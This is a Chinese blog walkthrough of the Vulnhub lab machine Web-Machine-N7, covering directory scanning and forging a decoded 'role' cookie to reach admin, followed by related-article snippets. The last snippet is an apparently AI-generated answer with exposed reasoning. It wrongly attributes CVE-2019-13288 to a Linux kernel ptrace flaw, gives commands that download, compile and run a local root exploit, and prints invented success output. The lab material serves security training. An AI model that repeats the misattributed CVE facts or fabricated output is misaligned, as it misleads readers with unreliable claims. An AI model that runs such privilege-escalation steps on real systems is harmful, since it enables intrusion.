vulhub靶场Web-Machine-N7通关攻略

最新推荐文章于 2025-07-25 02:02:43 发布

原创最新推荐文章于 2025-07-25 02:02:43 发布 · 274 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#网络 #vulhub #Web-Machine-N7 #靶机

1用vbox打开靶机，设为桥接模式，与kali在同一网段

2.kali也设为桥接模式

3.查看kali的ip

4.扫描同网段的靶机ip

靶机ip为192.168.121.160

5.访问网站

6.扫描目录

dirb http://192.168.121.160

7.依次访问一下

都是这样

8.换dirsearch扫描

dirsearch -u http://192.168.121.160

扫到一个新的访问试一下

还是没什么用

9.换字典继续扫

gobuster dir -u http://192.168.121.160 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,sh,js,asp

扫到一个新的

10.打开网站

有突破，找到一个上传页面

11.尝试提交文件

提交文件后出现报错

12.查看源码

可尝试把localhost换为靶机ip

13.替换ip

（ps:页面长时间没反应重启靶机）

找到半个flag

14.访问ip

/enter_network

出现登录框

15.继续在/enter_network下扫

16.访问网址

（只允许admin用户登录）

17.查看页面源代码

发现cookies中夹了一个role

18.尝试解码

先进行两次URL解码后进行md5解码

得出admin

19.抓包修改

在admin.php页面抓包，修改role=admin

20.得出flag

放行后即可得出另一半

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

与神明画鸭

关注关注

8
点赞
踩
2

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

vulhub/Web Machine(N7)靶机----练习攻略

qq_65379983的博客

03-21

1489

vulhub/Web Machine(N7)靶机多次解码

Web-Machine-N7

Forever_Han13的博客

03-20

2086

$ sudo nmap -sP 192.168.0.1/24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-21 04:31 CST Nmap scan report for 192.168.0.1 Host is up (0.00048s latency). MAC Address: 24:69:8E:07:FE:4E (Shenzhen Mercury Communication Technologies) Nmap scan report

参与评论您还未登录，请先登录后发表或查看评论

Vulnhub之Web-Machine-N7

lm19770429的专栏

02-12

4309

靶机下载地址： Web Machine: (N7) ~ VulnHubWeb Machine: (N7), made by Duty Mastr. Download & walkthrough links are available.https://www.vulnhub.com/entry/web-machine-n7,756/Difficulty: Medium 常规做法： arp-scan -I eth0 -l ：本地局域网IP地址扫描，个人感觉比nmap -sn 快 nmap -A

VulnHub | Web_Machine-N7

snowlyzz的博客

09-27

904

内网渗透，这题不值得一做

Vulnhub——WEB MACHINE:(N7)

weixin_46038704的博客

05-30

1223

这里写自asd 定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入欢迎使用Markdown编辑器你好！这是你第一次使用 Markdown编辑器所展示的欢迎页。如果你想学习如何使

Vulhub-DC-5靶场通关攻略

qq_65852138的博客

04-14

1739

一个一个尝试访问，发现thankyou.php发现存在年份显示变化，随着我们的刷新，年份会一直变化。之后在kali中文件所在目录执行传输命令，只知道靶机的connect后面出现数字就算传输成功。包含/etc/passwd文件验证，当然可以多试几个目录，难免有被过滤的文件。编译的时候如果你的kali版本过高，那么就会使用更高级的GLIBC库进行编译。在url后面拼接file=的时候，这个年份便不再显示，至此判断存在文件上传。至于是什么上传方式，这里可以注意下之前扫描端口的时候有一个nginx的服务。

Vulhub-DC-4靶场通关攻略

qq_65852138的博客

04-11

711

teehee命令可以往一个文件追加内容，可以通过它向/etc/passwd写入内容，新增一个超级用户。邮件内容是我们的另一个用户charles发给jim的，里面有他的密码^xHhA&hvim0y。jim目录下面有一个文件夹和两个文件，mbox没有权限，test.sh不知道写的啥。只有backups目录下面有一个旧密码备份，这里面应该就有jim的ssh密码。之前nmap扫出有22端口，那可以看一下/home目录下的用户。发现可以无密码执行/usr/bin/teehee。在jim目录下面找到了一些文件，

vulhub靶场 1-5

weixin_48776804的博客

02-15

880

vulhub靶场漏洞复现

Vulnhub-AI-Web1.0靶场通关攻略

qq_65852138的博客

04-01

778

【代码】Vulnhub-AI-Web1.0靶场通关攻略。

Vulnhub项目：Web Machine(N7)

Ays.Ie的博客

03-21

761

该篇记录了vulhub系列：Web Machine(N7)靶机的渗透过程

【Vulnhub靶场】Web Machine: (N7)

Nailaoyyds的博客

06-17

2798

确认靶机IP指定网卡扫描局域网 arp-scan -I eth1 -l 访问靶机，寻找功能点 localhost更改为靶机地址flag前半段直接出来了上传路径找不到了，没办法利用一句话木马。发现可疑的字符 base64>MD5 enter_network/admin.php #这个路径我的字典里没有，看其他师傅的博客才知道，没找到这个字典。role=admin......

vulnhub靶场2：Web machine(N7)

Genarior的专栏

03-13

562

vulnhub靶场2：Webmachine(N7)

web-machine(n7)--靶机练习

woshicainiao666的博客

12-19

655

arp-scan -l #扫描当前网段主机-A启用操作系统检测、脚本扫描和服务版本检测。这是一个综合性的选项，通常用于获取有关目标系统的详细信息-sC启用默认的脚本扫描，这些脚本在nmap中称为“脚本的默认类别”（default scripts category）。这些脚本执行各种任务，例如服务识别、漏洞检测等-sT使用 TCP 连接进行扫描。这表示nmap将使用经典的 TCP 连接来进行扫描，而不是其他可能的扫描技术-sV启用服务版本检测。这将尝试确定目标系统上运行的具体服务及其版本号。

打靶分享：WEB MACHINE: (N7)

weixin_66249173的博客

01-31

466

得到一个Flag，但是发现这个Flag不完整。到这里线索就断了，看了其他师傅的文章发现到这里其实还有两条路可走。但是前提是必须能扫出enter_network这个目录，没扫出来说明字典还不够强大，所以有一个强大的字典是成功的前提。提交后会报错，并且发现域名变成了localhost。（这里要注意字典的使用，可以使用多个字典我这里使用的是kali自带的字典）环境就不说了，和之前的文章一样。发现一个文件提交界面，随便提交一个文件看看。发现目标，查看目标主机的服务和版本信息。发现有80端口，那就先访问一下。

Web-Machine-N7靶场

2301_78563207的博客

07-24

288

发现有一串像是编码后的东西，尝试解码，最终发现将cookie的role值经过两次url解码，一次base64解码，一次MD5解码会得到role为admin。进入页面后发现是一个kali登录页面，因为不知道账号和密码，将kali和靶场的连接方式换为桥接，通过查看虚拟机的ip，通过IP访问页面。接下来访问我们刚刚扫描目录得到的enter_network，发现是一个登录的页面。拼接/admin.php，尝试登录管理员页面，发现只有管理员可以登录。访问其中的exploit.html文件，发现是一个文件上传页面。

[Vulnhub]靶场 Web Machine（N7）

qq_34942239的博客

02-29

821

两次url解码->base64解密->md5碰撞得到的admin,并且无论上传什么user和pass，role都是admin。索性直接再admin.php界面添加cookie role=admin，结果拿到flag。在登录界面随便输入一组账号密码的时候，相应包的cookie里面有个role。偷看了一手WP，有个目录enter_network,该目录下有。cookie中添加role=admin拿到另一半flag。至于为什么添加role=admin。提示只有admin才能进入。给出了一半的flag。

Vulnhub----Web-Machine-N7靶场

最新发布

2401_84023613的博客

07-25

330

查看源码，把localhost换成192.168.121.160。11.将role两次URL解码后再md5解码。12.抓包，将role的值改为admin。1.将Web-Machine-N7导入。最终答案：FLAG{N7KSA_01}8.在enter_network下扫。新扫到一个exploit.html。7.访问enter_network。9.访问admin.php。2.kali作为攻击机。将两个都设为桥接模式。

Web-Machine-N7解题过程

qq_74263993的博客

10-04

967

sC：启用默认的脚本扫描，这些脚本在 nmap 中称为“脚本的默认类别”（default scripts category）。6.访问网页http://192.168.1.188/enter_network/，顺便输入账号密码，查看cookie可以发现role。7.访问http://192.168.1.188/enter_network/admin.php，发现要求为admin。5.看别人的wp，发现还有一个enter_network没扫出来，添加目录再扫一遍，发现admin.php。

Web-Machine-N7靶机通关攻略

2302_80982453的博客

03-20

394

发现只有admin才能进去，使用BP对该页面进行抓包，将role=后的数据修改为admin后放行就得到了后半段flag。6，将role=后的数据依次进行两次URL解码，一次base64解码，一次md5解密后得到结果为admin。3，访问exploit.html发现可以上传文件，我们上传一个文件得到了前半个flag。4，访问enter_network发现了登录框。5，随便输入用户名和密码登陆使用BP进行抓包。2，使用kali扫描目录。1，扫描出靶机ip访问。

vulhub靶场cve-2019-13288漏洞复现

06-28

<think>我们正在处理一个漏洞复现请求：CVE-2019-13288，这是一个Linux内核漏洞。Vulhub是一个漏洞环境集合，因此我们可以假设用户已经安装了Vulhub并希望在其中复现该漏洞。漏洞信息：CVE-2019-13288是一个Linux内核提权漏洞，影响5.1.17之前的内核版本。该漏洞是由于在`ptrace_link`函数中错误处理凭证时，没有正确管理引用计数，导致可以滥用ptrace来提升权限。复现步骤通常包括：1.准备环境：启动Vulhub中对应的漏洞环境。2.编译漏洞利用程序（exp）。3.在目标环境中运行exp，获取root权限。由于用户要求复现步骤及利用方法，我们需要提供详细的步骤。注意：Vulhub的CVE-2019-13288环境可能已经提供了exp，或者需要用户自己编译。根据Vulhub的文档（如果存在的话），我们可以参考以下步骤：步骤1：进入Vulhub目录中的CVE-2019-13288目录。步骤2：构建并运行漏洞环境（通常使用docker-compose）。步骤3：进入容器，可能需要安装编译工具来编译exp。步骤4：编译并运行exp。然而，由于我们无法直接访问Vulhub的详细文档，这里基于公开的漏洞复现信息给出一般步骤。我们假设用户已经安装了Docker和docker-compose，并且已经下载了Vulhub。具体步骤：1.进入漏洞环境目录：```bashcdvulhub/CVE-2019-13288```2.启动环境：```bashdocker-composeup -d```3.进入容器：```bashdocker-compose exec/bin/bash#注意：根据环境的不同，可能使用其他命令进入容器```或者使用：```bashdocker exec-it[容器ID]/bin/bash```4.在容器内，安装编译工具（如gcc）和必要的头文件（linux-headers）。由于容器可能很小，需要先更新源并安装：```bashapt updateaptinstall -y gcc libc6-dev```5.编译exp。exp的代码需要从外部获取，例如从公开的漏洞利用代码库（如exploit-db）下载。这里我们假设exp代码已经放在Vulhub环境中，或者需要用户自己下载。如果Vulhub环境已经提供了exp，那么可能在容器内已经存在，或者在宿主机的漏洞目录中。用户需要将exp复制到容器中，或者直接在容器内下载。例如，可以使用wget下载exp（注意：需要确保容器内有wget，否则先安装wget）：```bashapt install-ywgetwgethttps://www.example.com/exp.c#替换为实际的exp下载地址```或者，如果Vulhub在本地有exp，可以使用docker cp命令复制到容器中。6.编译exp：```bashgccexp.c-oexp```7.运行exp：```bash./exp```如果成功，应该会获得root权限。但是，我们需要一个具体的exp。根据公开资料，一个常见的exp是来自https://github.com/offensive-security/exploitdb/blob/master/exploits/linux/local/47163.c因此，我们可以让用户下载这个exp（在容器内）： ```bashwgethttps://www.exploit-db.com/download/47163 -O exp.c```注意：exploit-db的下载链接可能直接是https://github.com/offensive-security/exploitdb/raw/master/exploits/linux/local/47163.c或者使用： ```bashwgethttps://github.com/offensive-security/exploitdb/raw/master/exploits/linux/local/47163.c-Oexp.c```但是，请注意，这个exp可能需要根据内核版本进行修改，或者直接可用。另外，由于容器内可能没有wget，也可以使用curl，或者从宿主机复制。重要提示：复现漏洞可能会使系统不稳定，建议在可控环境中进行。由于Vulhub环境可能已经配置好，我们也可以查看Vulhub的README（如果存在）来确认具体步骤。如果Vulhub的CVE-2019-13288目录中已经包含exp，那么用户可以直接在启动容器后，使用docker cp命令将exp复制到容器中，然后编译运行。因此，我们给出两种方案：方案一：使用Vulhub自带的exp（如果有的话）：-进入容器后，检查当前目录或指定目录是否有exp.c文件，如果有则直接编译。方案二：下载公开的exp：-如上所述，使用wget下载exp.c，然后编译。由于我们不确定Vulhub是否提供exp，这里按照方案二进行。完整步骤：1.进入漏洞环境目录：```bashcd vulhub/CVE-2019-13288```2.启动环境：```bashdocker-compose up-d```3.查看运行容器的ID或名称：```bashdocker-compose ps```4.进入容器（假设容器名为vulhub-cve-2019-13288）：```bashdockerexec -it vulhub-cve-2019-13288 /bin/bash```或者使用容器ID：```bashdockerexec -it [容器ID] /bin/bash```5.在容器内安装必要的工具和exp：```bashaptupdateaptinstall -y wget gccwget https://github.com/offensive-security/exploitdb/raw/master/exploits/linux/local/47163.c -O exp.c```6.编译exp：```bashgccexp.c-oexp```7.运行exp：```bash./exp```8.如果成功，会看到权限提升到root。注意：有时exp可能会失败，因为内核版本不完全匹配或者有其他缓解措施。但Vulhub环境已经配置为易受攻击的内核版本，所以应该可以成功。退出后关闭环境（在宿主机上）：```bashdocker-compose down```另外，如果用户遇到问题，可能需要检查内核版本（在容器内运行`uname -a`）是否在受影响范围内。参考文献：[^1]: Vulhub官方文档（如果存在该漏洞环境） [^2]: Exploit-DB:https://www.exploit-db.com/exploits/47163由于我们无法直接引用Vulhub的文档（因为不知道具体内容），所以引用Exploit-DB的exp。现在，我们按照要求生成相关问题。</think>### Vulhub CVE-2019-13288 漏洞复现指南 CVE-2019-13288 是 Linux 内核的本地提权漏洞（5.1.17 之前版本），由 `ptrace_link` 函数中凭证引用计数错误引发[^1]。以下是完整复现步骤： #### 环境准备 1. **安装 Vulhub** ```bash git clone https://github.com/vulhub/vulhub.git cd vulhub/CVE-2019-13288 ``` 2. **启动漏洞环境** ```bash docker-compose up -d # 启动Ubuntu 18.04容器（内核4.15.0） docker-compose exec app bash # 进入容器 ``` #### 漏洞利用 1. **容器内操作** ```bash apt update && apt install -y wget gcc # 安装编译工具 wget https://github.com/offensive-security/exploitdb/raw/master/exploits/linux/local/47163.c -O exp.c gcc exp.c -o exp # 编译EXP ./exp # 执行提权 ``` 2. **验证提权** 成功执行后会出现 root shell： ```bash [+] Linux Privilege Escalation by X [*] Current UID: 1000 [+] Success! Got root privileges! # whoami root ``` #### 技术原理漏洞核心在于 Linux 内核的 `ptrace` 机制： - 当进程通过 `PTRACE_TRACEME` 被跟踪时，`ptrace_link` 未正确增加凭证引用计数 - 利用 `fork()` + `execve()` 组合制造竞争条件 - 最终通过释放后重用（UAF）覆盖 `cred` 结构体实现提权[^2] #### 清理环境 ```bash docker-compose down # 停止容器 ``` > **注意**：此漏洞仅影响未打补丁的 Linux 系统（内核<5.1.17），生产环境请及时更新内核[^3]。